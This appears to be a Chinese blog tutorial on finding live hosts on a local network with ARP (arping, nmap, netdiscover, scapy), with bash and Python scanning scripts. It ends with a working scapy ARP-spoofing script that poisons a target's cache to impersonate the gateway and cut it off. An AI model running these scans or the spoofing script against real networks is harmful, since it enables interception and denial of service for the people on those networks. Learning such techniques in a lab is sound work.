存活主机发现(1)---二层发现

存活主机扫描主要通过2,3,4层发现

二层涉及物理系统寻址,就是我们熟悉的mac地址,利用arp协议进行探测,扫描速度比较快,也比较可靠,一般过滤的比较少,但缺点就是扫描的时候限于内网,不可以路由

arping

arping是通过arp协议发出ping包进行探测

最基本的使用

arping 192.168.0.1

如果这个内网ip存在,就会跟类似ping一样回复 

如果这个内网ip不存在,就会回复unreachable

不过这样使用的话会一直发包不停,所以我们需要使用到-c参数,通过-c可以指定发包的个数

arping 192.168.0.1 -c 1

还有-d参数,如果有来自两个不同MAC地址的答案,exit 1,这个可以判断有没有人正在进行arp欺骗

arping 192.168.0.1 -d

 如果正常退出说明就是正常的

 由于回复的内容比较多,看起来很麻烦,所以我们可以通过管道的方式进行过滤,只看我们想要的ip地址

arping 192.168.0.1  -c 1 |grep 'bytes'|cut -d '(' -f 2|cut -d ')' -f 1

如果存在就会返回一个ip地址

 如果不存在什么也返回不了

 当然由于arping本身不可以一次扫描多个目标,我就自己写了一个脚本,直接复制粘贴,保存为name.sh(name随便写),然后chmod +x name.sh

使用方法

./name.sh -i eth0 可以对你处于的这个内网.0-.254进行扫描,发现存活主机

./name.sh -t 192.168.0.1 扫描单独的

./name.sh -f 1.txt 扫描文件内包含的ip,一行一个

#!/bin/bash

if [ $# -ne 2 ];then
echo "这个脚本的使用方法"
echo "-f 指定要读取ip地址的文件"
echo "-t 指定单独的ip地址"
echo "-i 指定要使用的网络接口"
echo "-h 打印帮助菜单"
exit
fi

if [ -f $2 ]; then
	for addr in $(cat $2);do
		arping -c 1  $addr |grep 'bytes'|cut -d '(' -f 2|cut -d ')' -f 1
	done
exit
fi

if [ "$1" = "-i" ];then
prefix=$(ifconfig $2|grep 'inet'| grep -v  'inet6' |cut -d '.' -f 1-3|cut -d 't' -f 2 )
for addr in $(seq 1 255);do
arping -c 1 $prefix.$addr |grep 'bytes'|cut -d '(' -f 2|cut -d ')' -f 1
done
exit	
fi

if [ "$1" = "-t" ];then 
	arping -c 1 $2|grep 'bytes'|cut -d '(' -f 2|cut -d ')' -f 1
exit
fi

 nmap

二层扫描还可以用到nmap

nmap默认是arp发包探测,(当然因为是内网网段)

nmap 192.168.3.1 

因为还会探测开放的端口,而这里我们不需要探测所以可以用 -sn: Ping扫描-禁用端口扫描

nmap 192.168.3.1 -sn

 nmap也可以一次扫描多个

nmap 192.168.1.1-255 -sn

也可以从文件导入

nmap -iL file.txt -sn

netdiscover

专用于二层发现,分为主动和被动扫描

主动

netdiscover -i eth0

netdiscover -l file.txt
netdiscover -r 192.168.0.0/24 
netdiscover -r 192.168.0.0/16
netdiscover -r 192.168.0.0/8

A类IP地址的默认子网掩码为255.0.0.0(由于255相当于二进制的8位1,所以也缩写成“/8”,表示网络号占了8位);

B类的为255.255.0.0(/16);

C类的为255.255.255.0(/24)。

/30就是255.255.255.252。

/32就是255.255.255.255.

被动

 netdiscover -p

他有点像进入monito模式的网卡,专门抓网络中的arp包,但我这个好像有点问题,一直抓不到 ,被动的好处就是隐蔽,防止报警,但可能效率比较低

scapy

安装个依赖

apt-get install python3-gnuplot

命令行输入scapy进入交叉编译环境

emm这就是我们之后需要配置的arp包

hwtype表明ARP实现在何种类型的网络上,这里为1代表Ethernet网,也就是我们的以太网

ptype就不用说了,这里是ipv4

hwlen,硬件地址长度,这里我们不用设置,但我们要清楚是6个字节,这个可以在回包里面体现

plen,协议地址长度,为4字节, 但这里也不用设置

代表ARP数据包类型,01为请求包,02为应答包

op字段为1表示ARP请求,op字段为2表示ARP应答,这里的who-has就是1

hwsrc就是我们的来源 mac地址,psrc就是来源的ip地址

hwdst是目标mac地址,pdst是目标ip地址

而我们需要设置的就是目标ip地址,然后就可以发送

a=ARP()
a.pdst="192.168.3.1"
answer=sr1(a)

下面是我们的回包

 这里的op就是2,属于应答包然后返回了目标的mac地址

报文中的padding字段是填充数据,为了保证帧最少有64个字节

 当然,我们也可以编辑一个python的脚本来使用

#! /usr/bin/python
# -*- coding: utf-8 -*-

import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

if len(sys.argv)==1 or '-h' in sys.argv or '--help' in sys.argv:
    print "脚本的使用说明"
    print "-h --help 打印这份说明"
    print "-f 指定包含需要判断的主机ip文件"
    print "-i 指定需要扫描的同网段主机的网卡接口"
    print "-t 指定需要扫描的单一主机"
    sys.exit()



if '-i' in sys.argv:
        interface=str(sys.argv[2])
        ip=subprocess.check_output("ifconfig "+interface+"  |grep 'inet'| grep -v  'inet6' |cut -d '.' -f 1-3|cut -d 't' -f 2",shell=True).strip()
        prefix=ip.split('.')[0]+'.'+ip.split('.')[1]+"."+ip.split('.')[2]+"."
        for addr in range(0,255):
	    dest=prefix+str(addr)
	    answer=sr1(ARP(pdst=dest),verbose=0,timeout=0.1)
	    try:
		 if int(answer.hwlen)==6:
			  print prefix+str(addr)+" is alive"
	    except:
		 pass
elif '-f' in sys.argv:
         filename=str(sys.argv[2])
         f=open(filename, "r") 
         for adrr in f.readlines():
	       answer=sr1(ARP(pdst=adrr.strip('\n')),timeout=0.1,verbose=0)
	       try:
		    if int(answer.hwlen)==6:
			   print adrr.strip('\n')+" is alive"
	       except:
		    pass
elif '-t' in sys.argv:
             dest=str(sys.argv[2])
             answer=sr1(ARP(pdst=dest),verbose=0,timeout=0.1)
             try:
	            if int(answer.hwlen)==6:
		         print dest+" is alive"
             except:
	             pass
else:
         print "参数错误,请查看帮助说明"
         sys.exit()

下面这个包就是我们之前用的工具发的包,不管是nmap,netdiscover,arping还是scapy都是类似下面这种

arp欺骗

#! /usr/bin/python
# -*- coding: utf-8 -*-

import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

if len(sys.argv)==1 or '-h' in sys.argv or '--help' in sys.argv:
    print "脚本的使用说明"
    print "这个脚本用来欺骗指定ip"
    print "-h --help 打印这份说明"
    print "-t 指定需要欺骗的目标"
    sys.exit()


if '-t' in sys.argv:
       targetip=str(sys.argv[2])
       localmac=subprocess.check_output("ifconfig eth0 |grep 'ether'|cut -d 'r' -f 2|cut -d 't' -f 1",shell=True).strip()
       prefix=targetip.split('.')[0]+'.'+targetip.split('.')[1]+'.'+targetip.split('.')[2]+'.' 
       fakeip=prefix+str(1)
       a1=sr1(ARP(pdst=targetip),verbose=0)
       targetmac=a1.hwdst
       while(1):
            answer=sr1(ARP(op=2,hwsrc=localmac,psrc=fakeip,pdst=targetip,hwdst=targetmac),timeout=1,verbose=0)
            try:
                if answer==None:
                     print "正在arp欺骗"
            except:
                pass
           
         

靶机原来的arp缓存

执行脚本后的arp缓存

发现无法上网了

 但注意,arp欺骗一定要持续发包,不然过一会就会自动更新缓存了,就会恢复到原来的arp缓存

猜你喜欢

转载自blog.csdn.net/azraelxuemo/article/details/107281504
今日推荐